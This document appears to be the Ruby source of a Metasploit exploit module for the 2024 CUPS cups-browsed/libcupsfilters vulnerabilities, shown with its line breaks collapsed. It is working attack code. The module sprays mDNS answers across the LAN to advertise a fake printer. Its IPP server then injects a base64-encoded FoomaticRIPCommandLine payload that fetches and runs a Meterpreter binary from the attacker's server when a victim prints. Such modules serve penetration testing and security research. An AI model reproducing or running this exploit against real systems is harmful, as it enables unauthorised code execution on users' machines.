CUPS IPP Attributes LAN Remote Code Execution

class MetasploitModule < Msf::Exploit::Remote  Rank = NormalRanking  include Exploit::Remote::DNS::Common  include Exploit::Remote::SocketServer  include Msf::Exploit::Remote::HttpServer::HTML  # Accessor for IPP HTTP service  attr_accessor :service2  MULTICAST_ADDR = '224.0.0.251'  # Define IPP constants  module TagEnum    UNSUPPORTED_VALUE = 0x10    UNKNOWN_VALUE = 0x12    NO_VALUE = 0x13    # Integer types    INTEGER = 0x21    BOOLEAN = 0x22    ENUM = 0x23    # String types    OCTET_STR = 0x30    DATETIME_STR = 0x31    RESOLUTION = 0x32    RANGE_OF_INTEGER = 0x33    TEXT_WITH_LANGUAGE = 0x35    NAME_WITH_LANGUAGE = 0x36    TEXT_WITHOUT_LANGUAGE = 0x41    NAME_WITHOUT_LANGUAGE = 0x42    KEYWORD = 0x44    URI = 0x45    URI_SCHEME = 0x46    CHARSET = 0x47    NATURAL_LANGUAGE = 0x48    MIME_MEDIA_TYPE = 0x49  end  # Define IPP printer operations  module OperationEnum    # https://tools.ietf.org/html/rfc2911#section-4.4.15    PRINT_JOB = 0x0002    VALIDATE_JOB = 0x0004    CANCEL_JOB = 0x0008    GET_JOB_ATTRIBUTES = 0x0009    GET_JOBS = 0x000a    GET_PRINTER_ATTRIBUTES = 0x000b    # 0x4000 - 0xFFFF is for extensions    # CUPS extensions listed here:    # https://web.archive.org/web/20061024184939/http://uw714doc.sco.com/en/cups/ipp.html    CUPS_GET_DEFAULT = 0x4001    CUPS_LIST_ALL_PRINTERS = 0x4002  end  module JobStateEnum    # https://tools.ietf.org/html/rfc2911#section-4.3.7    PENDING = 3 # AKA "IDLE"    PENDING_HELD = 4    PROCESSING = 5    PROCESSING_STOPPED = 6    CANCELED = 7    ABORTED = 8    COMPLETED = 9  end  # Define IPP section constants  module SectionEnum    SECTIONS = 0x00    SECTIONS_MASK = 0xf0    OPERATION = 0x01    JOB = 0x02    ENDTAG = 0x03 # Changed from END    PRINTER = 0x04    UNSUPPORTED = 0x05  end  class MulticastComm < Rex::Socket::Comm::Local    # hax by spencer to set the socket options for handling multicast using the native APIs (as opposed to Rex::Socket)    # without this in place, the module won't work on a system with multiple network interfaces    def self.create_by_type(param, type, proto = 0)      socket = super      socket.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)      socket.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_MULTICAST_TTL, 255)      membership = IPAddr.new(MULTICAST_ADDR).hton + IPAddr.new('0.0.0.0').hton      socket.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, membership)      socket    end  end  def initialize(info = {})    super(      update_info(        info,        'Name' => 'CUPS IPP Attributes LAN Remote Code Execution',        'Description' => %q{          This module exploits vulnerabilities in OpenPrinting CUPS, which is running by          default on most Linux distributions. The vulnerabilities allow an attacker on          the LAN to advertise a malicious printer that triggers remote code execution          when a victim sends a print job to the malicious printer. Successful exploitation          requires user interaction, but no CUPS services need to be reachable via accessible          ports. Code execution occurs in the context of the lp user. Affected versions          are cups-browsed <= 2.0.1, libcupsfilters <= 2.1b1, libppd <= 2.1b1, and          cups-filters <= 2.0.1.        },        'Author' => [          # Original researcher          'Simone Margaritelli',          # Public exploit          'Rick de Jager',          # IPP server implementation based on Python's ipp-server          'David Batley',          # mDNS functionality          'Spencer McIntyre',          'RageLtMan <rageltman[at]sempervictus>',          # Metasploit module          'Ryan Emmons'        ],        'License' => MSF_LICENSE,        'References' => [          # The relevant CUPS CVE identifiers          ['CVE', '2024-47076'],          ['CVE', '2024-47175'],          ['CVE', '2024-47177'],          ['CVE', '2024-47176'],          # The initial researcher publication          ['URL', 'https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/'],          # The public exploit this module was inspired by          ['URL', 'https://github.com/RickdeJager/cupshax'],          # The cups-browsed GitHub security advisory          ['URL', 'https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8'],          # The libcupsfilters GitHub security advisory          ['URL', 'https://github.com/OpenPrinting/libcupsfilters/security/advisories/GHSA-w63j-6g73-wmg5'],          # The libppd GitHub security advisory          ['URL', 'https://github.com/OpenPrinting/libppd/security/advisories/GHSA-7xfx-47qg-grp6'],          # The cups-filters GitHub security advisory          ['URL', 'https://github.com/OpenPrinting/cups-filters/security/advisories/GHSA-p9rh-jxmq-gq47'],          # The IPP server implementation this module is based on          ['URL', 'https://github.com/h2g2bob/ipp-server/']        ],        # Executes as 'lp' on most Linux distributions        'Privileged' => false,        'Targets' => [['Default', {}]],        'Platform' => %w[linux unix],        'Arch' => [ARCH_CMD],        'DefaultOptions' => {          'FETCH_COMMAND' => 'WGET',          'FETCH_WRITABLE_DIR' => '/var/tmp'        },        'Stance' => Msf::Exploit::Stance::Passive,        'DefaultAction' => 'Service',        'DefaultTarget' => 0,        'DisclosureDate' => '2024-09-26',        'Notes' => {          # There's a small chance the fake printer may flag as "broken" after one execution          # If this happens, other victims on the LAN will still be susceptible to code execution          # However, this *shouldn't* happen :)          'Stability' => [CRASH_SAFE],          # Requires a user to send a print job to the malicious printer to trigger RCE          'Reliability' => [EVENT_DEPENDENT],          'SideEffects' => [            # /var/log/cups/error_log will likely contain the payload, IPP server details, and printer name            # /var/log/cups/access_log will contain the IPP server details and printer name            IOC_IN_LOGS,            # The /tmp directory will likely contain a file called "foomatic-" + five random characters            # This file is a PDF owned by 'lp', and it's the content that the victim user tried to print            ARTIFACTS_ON_DISK          ]        }      )    )    register_options(      [        OptString.new('PrinterName', [true, 'The printer name', 'PrintToPDF'], regex: /^[a-zA-Z0-9_ ]+$/),        OptAddress.new('SRVHOST', [true, 'The local host to listen on (cannot be 0.0.0.0)']),        OptPort.new('SRVPORT', [true, 'The local port for the IPP service', 7575])      ]    )  end  def validate    super    if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0      raise Msf::OptionValidateError.new({ 'SRVHOST' => 'The SRVHOST option must be set to a routable IP address.' })    end    # Rex::Socket does not support forwarding UDP multicast sockets right now so raise an exception if that's configured    unless _determine_server_comm(datastore['SRVHOST']) == Rex::Socket::Comm::Local      raise Msf::OptionValidateError.new({ 'SRVHOST' => 'SRVHOST can not be forwarded via a session.' })    end  end  #  # Wrapper for service execution and cleanup  #  def exploit    @printer_uuid = SecureRandom.uuid    start_mdns_service    start_ipp_service    print_status("Services started. Printer '#{datastore['PrinterName']}' is being advertised")    service.wait  rescue Rex::BindFailed => e    print_error "Failed to bind to port: #{e.message}"  end  # mDNS code below  def start_mdns_service    self.service = Rex::ServiceManager.start(      Rex::Proto::MDNS::Server,      '0.0.0.0',      5353,      false,      nil,      MulticastComm,      { 'Msf' => framework, 'MsfExploit' => self }    )    service.dispatch_request_proc = proc do |cli, data|      on_dispatch_mdns_request(cli, data)    end    service.send_response_proc = proc do |cli, data|      on_send_mdns_response(cli, data)    end  rescue ::Errno::EACCES => e    raise Rex::BindFailed, e.message  end  def create_ipp_response(version_major, version_minor, request_id)    # Printer attributes    attributes = {}    # Creating an MVP ("Minimum Viable Printer")    # charset    attributes[[SectionEnum::PRINTER, 'attributes-configured', TagEnum::CHARSET]] = ['utf-8']    # charset    attributes[[SectionEnum::PRINTER, 'attributes-supported', TagEnum::CHARSET]] = ['utf-8']    # keyword    attributes[[SectionEnum::PRINTER, 'compression-supported', TagEnum::KEYWORD]] = ['none']    # mimeMediaType    attributes[[SectionEnum::PRINTER, 'document-format-default', TagEnum::MIME_MEDIA_TYPE]] = ['application/pdf']    # mimeMediaType    attributes[[SectionEnum::PRINTER, 'document-format-supported', TagEnum::MIME_MEDIA_TYPE]] = ['application/pdf']    # naturalLanguage    attributes[[SectionEnum::PRINTER, 'generated-natural-language-supported', TagEnum::NATURAL_LANGUAGE]] = ['en']    # keyword    attributes[[SectionEnum::PRINTER, 'ipp-versions-supported', TagEnum::KEYWORD]] = ['1.1']    # keyword    attributes[[SectionEnum::PRINTER, 'media-default', TagEnum::KEYWORD]] = ['iso_a4_210x297mm']    # keyword    attributes[[SectionEnum::PRINTER, 'media-supported', TagEnum::KEYWORD]] = ['iso_a4_210x297mm']    # keyword    attributes[[SectionEnum::PRINTER, 'media-type', TagEnum::KEYWORD]] = ['stationery']    enc_payload = Rex::Text.encode_base64(payload.encoded)    # 1setOf keyword    attributes[[SectionEnum::PRINTER, 'media-type-supported', TagEnum::KEYWORD]] = [      'stationery',      # Here's our base64-encoded fetch payload, which will grab a Meterpreter binary from our stager HTTP server      ": HAX\n*FoomaticRIPCommandLine: echo -n #{enc_payload}|base64 -d|sh;#\n*cupsFilter2: \"application/vnd.cups-pdf application/pdf 0 foomatic-rip\"\n*%"    ]    # naturalLanguage    attributes[[SectionEnum::PRINTER, 'natural-language-configured', TagEnum::NATURAL_LANGUAGE]] = ['en']    # 1setOf enum    attributes[[SectionEnum::PRINTER, 'document-format-supported', TagEnum::ENUM]] = [      OperationEnum::PRINT_JOB,      OperationEnum::VALIDATE_JOB,      OperationEnum::CANCEL_JOB,      OperationEnum::GET_JOB_ATTRIBUTES,      OperationEnum::GET_PRINTER_ATTRIBUTES    ]    # keyword    attributes[[SectionEnum::PRINTER, 'pdl-override-supported', TagEnum::KEYWORD]] = ['not-attempted']    # textWithoutLanguage    attributes[[SectionEnum::PRINTER, 'printer-info', TagEnum::TEXT_WITHOUT_LANGUAGE]] = ['Printer']    # textWithoutLanguage    attributes[[SectionEnum::PRINTER, 'printer-make-and-model', TagEnum::TEXT_WITHOUT_LANGUAGE]] = ['Printer 1.00']    # nameWithoutLanguage    attributes[[SectionEnum::PRINTER, 'printer-name', TagEnum::NAME_WITHOUT_LANGUAGE]] = ['Printer']    # enum    attributes[[SectionEnum::PRINTER, 'printer-state', TagEnum::ENUM]] = [JobStateEnum::PENDING] # AKA IDLE    # keyword    attributes[[SectionEnum::PRINTER, 'printer-state-reasons', TagEnum::KEYWORD]] = ['none']    # integer    attributes[[SectionEnum::PRINTER, 'pdl-override-supported', TagEnum::INTEGER]] = [Time.now.to_i]    # uri    attributes[[SectionEnum::PRINTER, 'printer-uri-supported', TagEnum::URI]] = ['ipp://localhost:631/printer']    # keyword    attributes[[SectionEnum::PRINTER, 'uri-authentication-supported', TagEnum::KEYWORD]] = ['none']    # keyword    attributes[[SectionEnum::PRINTER, 'uri-security-supported', TagEnum::KEYWORD]] = ['none']    # Create response, imitating ipp-server's 'to_file' function    # Pack the version    response = [version_major, version_minor].pack('C*')    # Pack the 2-byte status code    response << [0x0000].pack('n')    # Pack the 4-byte request ID    response << [request_id].pack('N')    # Group the above defined attributes by section (we use the PRINTER section for the payload)    attributes.group_by { |k, _v| k[0] }.each do |section, attrs_in_section|      response << [section].pack('C')      attrs_in_section.each do |key, values|        _section, name, tag = key        values.each_with_index do |value, i|          response << [tag].pack('C')          if i == 0            response << [name.length].pack('n')            response << name          else            response << [0].pack('n')          end          # Make sure non-string values work by packing as four bytes (should work for all ints)          if value.is_a?(Integer)            response << [4].pack('n')            response << [value].pack('N')          else            # Packing strings            response << [value.length].pack('n')            response << value          end        end      end    end    # Close out attributes with an ENDTAG    response << [SectionEnum::ENDTAG].pack('C')    response  end  #  # IPP servers communicate using a binary protocol via HTTP  #  def start_ipp_service    # Start the IPP web service    self.service2 = Rex::ServiceManager.start(      Rex::Proto::Http::Server,      srvport,      srvhost,      false,      { 'Msf' => framework, 'MsfExploit' => self },      Rex::Socket::Comm::Local    )    # Register a route for queries to the printer    service2.add_resource('/ipp/print',                          'Proc' => proc do |cli, req|                            case req.method                            # Some printers perform an initial GET request before the exploitable POST request                            # We serve up agreeable placeholder data for that initial request                            when 'GET'                              # Send HTTP response data                              ppd_content = ppd_out                              send_response(cli, ppd_content,                                            'Content-Type' => 'application/postscript')                            # When the victim system interacts with our printer, a POST request will be received                            when 'POST'                              # When VERBOSE is true, all request bytes will be printed                              vprint_status("Received IPP request: #{req.body.bytes.map do |b|                                format('%02x', b)                              end.join(' ')}")                              data = req.body.bytes                              return if data.length < 8                              # Extract version, operation, and request ID from the request to print in VERBOSE mode                              version_major = data[0]                              version_minor = data[1]                              operation_id = (data[2] << 8) | data[3]                              request_id = (data[4] << 24) | (data[5] << 16) | (data[6] << 8) | data[7]                              vprint_status("IPP Version: #{version_major}.#{version_minor}, Operation: 0x#{operation_id.to_s(16)}, Request ID: #{request_id}")                              # Respond to the IPP request to confirm the printer is a valid target and inject the malicious payload                              response = create_ipp_response(version_major, version_minor, request_id)                              send_response(cli, response,                                            'Content-Type' => 'application/ipp',                                            'Content-Length' => response.length.to_s)                            end                          rescue StandardError => e                            vprint_error('An error occurred while processing an IPP request')                            vprint_error("IPP Error is #{e.class} - #{e.message}")                            vprint_error(e.backtrace.join("\n").to_s)                            raise e                          end,                          'Path' => '/ipp/print')    print_status("IPP service started on #{Rex::Socket.to_authority(srvhost, srvport)}")  rescue Rex::BindFailed => e    vprint_error("Failed to bind IPP web service to #{Rex::Socket.to_authority(srvhost, srvport)}")    raise e  end  #  # Printer info for victim systems that require an initial GET request.  #  def ppd_out    <<~PPD      *PPD-Adobe: "4.3"      *FormatVersion: "4.3"      *FileVersion: "1.0"      *LanguageVersion: English      *LanguageEncoding: ISOLatin1      *PCFileName: "#{datastore['PrinterName']}.PPD"      *Manufacturer: "#{datastore['PrinterName']}"      *Product: "(#{datastore['PrinterName']})"      *ModelName: "#{datastore['PrinterName']}"      *ShortNickName: "#{datastore['PrinterName']}"      *NickName: "#{datastore['PrinterName']}"      *PSVersion: "(3010.000) 0"      *LanguageLevel: "3"      *ColorDevice: True      *DefaultColorSpace: RGB      *FileSystem: False      *Throughput: "1"      *LandscapeOrientation: Plus90      *TTRasterizer: Type42      *cupsVersion: 1.4      *cupsModelNumber: 1      *cupsManualCopies: True      *cupsFilter: "application/vnd.cups-postscript 0 -"      *cupsFilter: "application/vnd.cups-pdf 0 -"      *OpenUI *PageSize/Media Size: PickOne      *DefaultPageSize: Letter      *PageSize Letter: "<</PageSize[612 792]/ImagingBBox null>>setpagedevice"      *CloseUI: *PageSize      *DefaultImageableArea: Letter      *ImageableArea Letter: "0 0 612 792"      *DefaultPaperDimension: Letter      *PaperDimension Letter: "612 792"    PPD  end  #  # Creates Proc to handle incoming requests  #  def on_dispatch_mdns_request(cli, data)    # Handle empty mDNS data    return if data.strip.empty?    # Encode the incoming packet as a Dnsruby message    req = Packet.encode_drb(data)    # Ignore responses    return if req.header.qr    # Print the incoming request in VERBOSE mode (will produce a lot of output)    peer = Rex::Socket.to_authority(cli.peerhost, cli.peerport)    asked = req.question.map(&:qname).map(&:to_s).join(', ')    vprint_status("Received request for #{asked} from #{peer}")    # Assign printer name variables for mDNS responses    printer_name = datastore['PrinterName']    printer_name_no_space = printer_name.gsub(/ /, '')    ipp_printer_name = "#{printer_name_no_space}._ipp._tcp.local"    # A draft approach was to advertise our malicious printer by selectively responding only to _ipp and _printer queries    # However, that requires the victim to search for new printers, which doesn't happen on most systems during a print dialog (it requires Settings->Printers->"Add Printer" on Ubuntu)    # Also, different distributions seem to have different flows for that, which made the approach unreliable    # So, instead of that, we just spray responses to every single mDNS query within the multicast domain to automatically populate the victim's printer list with our malicious printer    return unless req.question.first    # PTR record    req.add_answer(Dnsruby::RR.create(      name: '_ipp._tcp.local.',      type: 'PTR',      # Keeping TTL low because ghost records from previous module runs will hang the Linux printer selection window for ~30 seconds, impeding exploitation      # Since we're spraying advertisements in response to everything, low TTL shouldn't be an issue      ttl: 30,      domainname: "#{ipp_printer_name}."    ))    # A record for our printer    # All of these answers seem to need to be additional record answers, not just answers    req.add_additional(Dnsruby::RR.create(      name: "#{printer_name_no_space}.local.",      type: 'A',      ttl: 30,      # The IP address of our malicious HTTP IPP service      address: datastore['SRVHOST']    ))    # SRV record    req.add_additional(Dnsruby::RR.create(      name: "#{ipp_printer_name}.",      type: 'SRV',      ttl: 30,      priority: 0,      weight: 0,      # The port of our malicious HTTP IPP service      port: datastore['SRVPORT'],      target: "#{printer_name_no_space}.local."    ))    # TXT record    req.add_additional(Dnsruby::RR.create(      name: "#{ipp_printer_name}.",      type: 'TXT',      ttl: 30    ).tap do |rr|      rr.strings = [        'txtvers=1',        'qtotal=1',        'rp=ipp/print',        "ty=#{printer_name}",        'pdl=application/postscript,application/pdf',        # The "adminurl" value may or may not be queried, depending on the victim type        # Points to our malicious HTTP IPP service        "adminurl=http://#{Rex::Socket.to_authority(srvhost, srvport)}",        'priority=0',        'color=T',        'duplex=T',        # Unique UUID to avoid printer collision from multiple runs with the same configuration        "UUID=#{@printer_uuid}"      ]    end)    # NSEC record, seems to be required, should be additional answer type    req.add_additional(Dnsruby::RR.create(      name: "#{ipp_printer_name}.",      type: 'NSEC',      ttl: 30,      next_domain: "#{ipp_printer_name}.",      types: 'AAAA'    ))    # Indicate our mDNS message is a query response    req.header.qr = 1    # In response messages for Multicast domains, the Authoritative Answer bit MUST be set to one    # https://datatracker.ietf.org/doc/html/rfc6762    req.header.aa = 1    # Clear questions and update counts for our response    req.question.clear    req.update_counts    # Encode and send response    response_data = Packet.generate_response(req).encode    service.send_response(cli, response_data)  end  #  # Creates Proc to handle outbound responses  #  def on_send_mdns_response(cli, data)    # Log to console in VERBOSE mode, then write response    vprint_status("Sending response to #{Rex::Socket.to_authority(cli.peerhost, cli.peerport)}")    cli.write(data)  end  def cleanup    super    if service2      # Remove the IPP resource before stopping the HTTP service      service2.remove_resource('/ipp/print')      service2.stop      self.service2 = nil    end    return unless service    # Stop the mDNS service    service.stop    self.service = nil  endend